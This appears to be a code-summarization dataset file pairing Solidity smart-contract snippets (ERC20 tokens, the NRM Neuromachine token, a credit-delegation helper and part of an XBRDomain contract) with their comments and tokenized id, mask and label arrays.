_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 immutable private _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
/**
* @title ProvideERC20
* @dev Implementation of the StandardERC20 for the PRVD token
*/
contract ProvideERC20 is ERC20Decimals {
constructor ()
ERC20("Provide", "PRVD")
ERC20Decimals(8)
payable
{
uint256 _totalSupply = 15000000000000000;
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
} | @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./ | abstract contract Context {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
| 2,307,925 | [
1,
17727,
1779,
2973,
326,
783,
4588,
819,
16,
6508,
326,
5793,
434,
326,
2492,
471,
2097,
501,
18,
21572,
4259,
854,
19190,
2319,
3970,
1234,
18,
15330,
471,
1234,
18,
892,
16,
2898,
1410,
486,
506,
15539,
316,
4123,
279,
2657,
21296,
16,
3241,
1347,
21964,
598,
2191,
17,
20376,
326,
2236,
5431,
471,
8843,
310,
364,
4588,
2026,
486,
506,
326,
3214,
5793,
261,
345,
10247,
487,
392,
2521,
353,
356,
2750,
11748,
2934,
1220,
6835,
353,
1338,
1931,
364,
12110,
16,
5313,
17,
5625,
20092,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
1772,
288,
203,
97,
203,
225,
445,
389,
3576,
12021,
1435,
2713,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
565,
327,
1234,
18,
15330,
31,
203,
225,
289,
203,
203,
225,
445,
389,
3576,
751,
1435,
2713,
1476,
5024,
1135,
261,
3890,
745,
892,
13,
288,
203,
565,
327,
1234,
18,
892,
31,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0xa6c634e78Dac5e3E8a1F7992824F2194fc493e00/sources/browser/Sugardaddy.sol | Configurates the Sugardaddy by depositing the requisite collateral, enable it for delegation and then approve delegation to sugarbabysetUserUseReserveAsCollateral(_flashAsset); no longer required as this is called as part of depositing on V2 | function configureSugardaddy(
address _sugarbaby,
address _flashAsset,
uint256 _depositAmount,
address _debtAsset,
uint256 _delegateAmount
) public {
depositCollateral(_flashAsset, address(this), _depositAmount);
approveDebtIncuree(_sugarbaby, _delegateAmount, _debtAsset);
}
| 16,272,036 | [
1,
809,
295,
815,
326,
348,
637,
1060,
31934,
635,
443,
1724,
310,
326,
10780,
291,
1137,
4508,
2045,
287,
16,
4237,
518,
364,
23595,
471,
1508,
6617,
537,
23595,
358,
272,
637,
6779,
24383,
542,
1299,
3727,
607,
6527,
1463,
13535,
2045,
287,
24899,
13440,
6672,
1769,
1158,
7144,
1931,
487,
333,
353,
2566,
487,
1087,
434,
443,
1724,
310,
603,
776,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5068,
55,
637,
1060,
31934,
12,
203,
3639,
1758,
389,
87,
637,
6779,
24383,
16,
203,
3639,
1758,
389,
13440,
6672,
16,
203,
3639,
2254,
5034,
389,
323,
1724,
6275,
16,
203,
3639,
1758,
389,
323,
23602,
6672,
16,
203,
3639,
2254,
5034,
389,
22216,
6275,
203,
3639,
262,
1071,
288,
203,
203,
3639,
443,
1724,
13535,
2045,
287,
24899,
13440,
6672,
16,
1758,
12,
2211,
3631,
389,
323,
1724,
6275,
1769,
203,
3639,
6617,
537,
758,
23602,
14559,
594,
73,
24899,
87,
637,
6779,
24383,
16,
389,
22216,
6275,
16,
389,
323,
23602,
6672,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x00000b233566fcc3825f94d68d4fc410f8cb2300
//Contract name: NRM
//Balance: 0 Ether
//Verification Date: 4/12/2018
//Transacion Count: 13
// CODE STARTS HERE
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// NRM token main contract
//
// Symbol : NRM
// Name : Neuromachine
// Total supply : 4.958.333.333,000000000000000000 (burnable)
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe math
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// NRM ERC20 Token - Neuromachine token contract
// ----------------------------------------------------------------------------
contract NRM is ERC20Interface, Owned {
using SafeMath for uint;
bool public running = true;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address public FreezeAddress;
uint256 public FreezeTokens;
uint256 public FreezeTokensReleaseTime;
// ------------------------------------------------------------------------
// Contract init. Set symbol, name, decimals and initial fixed supply
// ------------------------------------------------------------------------
function NRM() public {
symbol = "NRM";
name = "Neuromachine";
decimals = 18;
_totalSupply = 4958333333 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
// ------------------------------------------------------------------------
// Team and develop tokens transfer to freeze account for 365 days
// ------------------------------------------------------------------------
FreezeAddress = 0x7777777777777777777777777777777777777777;
FreezeTokens = _totalSupply.mul(30).div(100);
balances[owner] = balances[owner].sub(FreezeTokens);
balances[FreezeAddress] = balances[FreezeAddress].add(FreezeTokens);
emit Transfer(owner, FreezeAddress, FreezeTokens);
FreezeTokensReleaseTime = now + 365 days;
}
// ------------------------------------------------------------------------
// Team and tokens unfreeze after 365 days from contract deploy
// ------------------------------------------------------------------------
function unfreezeTeamTokens(address unFreezeAddress) public onlyOwner returns (bool success) {
require(balances[FreezeAddress] > 0);
require(now >= FreezeTokensReleaseTime);
balances[FreezeAddress] = balances[FreezeAddress].sub(FreezeTokens);
balances[unFreezeAddress] = balances[unFreezeAddress].add(FreezeTokens);
emit Transfer(FreezeAddress, unFreezeAddress, FreezeTokens);
return true;
}
// ------------------------------------------------------------------------
// Start-stop contract functions:
// transfer, approve, transferFrom, approveAndCall
// ------------------------------------------------------------------------
modifier isRunnning {
require(running);
_;
}
function startStop () public onlyOwner returns (bool success) {
if (running) { running = false; } else { running = true; }
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public isRunnning returns (bool success) {
require(tokens <= balances[msg.sender]);
require(tokens != 0);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public isRunnning returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public isRunnning returns (bool success) {
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
require(tokens != 0);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public isRunnning returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Tokens burn
// ------------------------------------------------------------------------
function burnTokens(uint256 tokens) public returns (bool success) {
require(tokens <= balances[msg.sender]);
require(tokens != 0);
balances[msg.sender] = balances[msg.sender].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
emit Transfer(msg.sender, address(0), tokens);
return true;
}
// ------------------------------------------------------------------------
// Tokens multisend from owner only by owner
// ------------------------------------------------------------------------
function multisend(address[] to, uint256[] values) public onlyOwner returns (uint256) {
for (uint256 i = 0; i < to.length; i++) {
balances[owner] = balances[owner].sub(values[i]);
balances[to[i]] = balances[to[i]].add(values[i]);
emit Transfer(owner, to[i], values[i]);
}
return(i);
}
}
| ------------------------------------------------------------------------ Total supply ------------------------------------------------------------------------ | function totalSupply() public constant returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| 5,373,617 | [
1,
29461,
10710,
14467,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2078,
3088,
1283,
1435,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
18,
1717,
12,
70,
26488,
63,
2867,
12,
20,
13,
19226,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
///////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2018-2020 Crossbar.io Technologies GmbH and contributors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// https://openzeppelin.org/api/docs/math_SafeMath.html
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./XBRMaintained.sol";
import "./XBRTypes.sol";
import "./XBRToken.sol";
import "./XBRNetwork.sol";
/// XBR API catalogs contract.
contract XBRDomain is XBRMaintained {
// Add safe math functions to uint256 using SafeMath lib from OpenZeppelin
using SafeMath for uint256;
/// Event emitted when a new domain was created.
event DomainCreated (bytes16 indexed domainId, uint32 domainSeq, XBRTypes.DomainStatus status, address owner,
bytes32 domainKey, string license, string terms, string meta);
/// Event emitted when a domain was updated.
event DomainUpdated (bytes16 indexed domainId, uint32 domainSeq, XBRTypes.DomainStatus status, address owner,
bytes32 domainKey, string license, string terms, string meta);
/// Event emitted when a domain was closed.
event DomainClosed (bytes16 indexed domainId, XBRTypes.DomainStatus status);
/// Event emitted when a new node was paired with the domain.
event NodePaired (bytes16 indexed domainId, bytes16 nodeId, uint256 paired, bytes32 nodeKey, string config);
/// Event emitted when a node was updated.
event NodeUpdated (bytes16 indexed domainId, bytes16 nodeId, uint256 updated, bytes32 nodeKey, string config);
/// Event emitted when a node was released from a domain.
event NodeReleased (bytes16 indexed domainId, bytes16 nodeId, uint256 released);
/// Instance of XBRNetwork contract this contract is linked to.
XBRNetwork public network;
/// IPFS multihash of the `Crossbar.io FX LICENSE <https://github.com/crossbario/crossbarfx/blob/master/crossbarfx/LICENSE>`__.
string public license = "QmZSrrVWh6pCxzKcWLJMA2jg3Q3tx4RMvg1eMdVSwjmRug";
/// Created domains are sequence numbered using this counter (to allow deterministic collision-free IDs for domains)
uint32 public domainSeq = 1;
/// Current XBR Domains ("domain directory")
mapping(bytes16 => XBRTypes.Domain) public domains;
/// Current XBR Nodes ("node directory");
mapping(bytes16 => XBRTypes.Node) public nodes;
/// Index: node public key => (market ID, node ID)
mapping(bytes32 => bytes16) public nodesByKey;
/// List of IDs of current XBR Domains.
bytes16[] public domainIds;
// Constructor for this contract, only called once (when deploying the network).
//
// @param networkAdr The XBR network contract this instance is associated with.
constructor (address networkAdr) public {
network = XBRNetwork(networkAdr);
}
/// Create a new XBR domain.
///
/// @param domainId The ID of the domain to create. Must be globally unique (not yet existing).
/// @param domainKey The domain signing key. A Ed25519 (https://ed25519.cr.yp.to/) public key.
/// @param stackLicense The license for the software stack running the domain. IPFS Multihash
/// pointing to a JSON/YAML file signed by the project release key.
/// @param terms Multihash for terms that apply to the domain and to all APIs as published to this catalog.
/// @param meta Multihash for optional domain meta-data.
function createDomain (bytes16 domainId, bytes32 domainKey, string memory stackLicense, string memory terms,
string memory meta) public {
_createDomain(msg.sender, block.number, domainId, domainKey, stackLicense, terms, meta, "");
}
/// Create a new XBR domain.
///
/// Note: This version uses pre-signed data where the actual blockchain transaction is
/// submitted by a gateway paying the respective gas (in ETH) for the blockchain transaction.
///
/// @param member Member that creates the domain and will become owner.
/// @param created Block number when the catalog was created.
/// @param domainId The ID of the domain to create. Must be globally unique (not yet existing).
/// @param domainKey The domain signing key. A Ed25519 (https://ed25519.cr.yp.to/) public key.
/// @param stackLicense The license for the software stack running the domain. IPFS Multihash
/// pointing to a JSON/YAML file signed by the project release key.
/// @param terms Multihash for terms that apply to the domain and to all APIs as published to this catalog.
/// @param meta Multihash for optional domain meta-data.
/// @param signature Signature created by the member.
function createDomainFor (address member, uint256 created, bytes16 domainId, bytes32 domainKey,
string memory stackLicense, string memory terms, string memory meta, bytes memory signature) public {
require(XBRTypes.verify(member, XBRTypes.EIP712DomainCreate(network.verifyingChain(), network.verifyingContract(),
member, created, domainId, domainKey, stackLicense, terms, meta), signature),
"INVALID_SIGNATURE");
// signature must have been created in a window of 5 blocks from the current one
require(created <= block.number && created >= (block.number - 4), "INVALID_BLOCK_NUMBER");
_createDomain(member, created, domainId, domainKey, stackLicense, terms, meta, signature);
}
function _createDomain (address member, uint256 created, bytes16 domainId, bytes32 domainKey,
string memory stackLicense, string memory terms, string memory meta, bytes memory signature) private {
(, , , XBRTypes.MemberLevel member_level, ) = network.members(member);
// the domain owner must be a registered member
require(member_level == XBRTypes.MemberLevel.ACTIVE ||
member_level == XBRTypes.MemberLevel.VERIFIED, "SENDER_NOT_A_MEMBER");
// check that the LICENSE the member accepted is the one we expect
require(keccak256(abi.encode(stackLicense)) ==
keccak256(abi.encode(license)), "INVALID_LICENSE");
// domain must not yet exist
require(domains[domainId].owner == address(0), "DOMAIN_ALREADY_EXISTS");
// store new domain object
domains[domainId] = XBRTypes.Domain(created, domainSeq, XBRTypes.DomainStatus.ACTIVE, member,
domainKey, stackLicense, terms, meta, signature, new bytes16[](0));
// add domainId to list of all domain IDs
domainIds.push(domainId);
// notify observers of new domains
emit DomainCreated(domainId, domainSeq, XBRTypes.DomainStatus.ACTIVE, member,
domainKey, stackLicense, terms, meta);
// increment domain sequence for next domain
domainSeq = domainSeq + 1;
}
// /**
// * Close an existing XBR domain. The sender must be owner of the domain, and the domain
// * must not have any nodes paired (anymore).
// *
// * @param domainId The ID of the domain to close.
// */
// function closeDomain (bytes16 domainId) public {
// require(false, "NOT_IMPLEMENTED");
// }
/**
* Returns domain status.
*
* @param domainId The ID of the domain to lookup status.
* @return The current status of the domain.
*/
function getDomainStatus(bytes16 domainId) public view returns (XBRTypes.DomainStatus) {
return domains[domainId].status;
}
/**
* Returns domain owner.
*
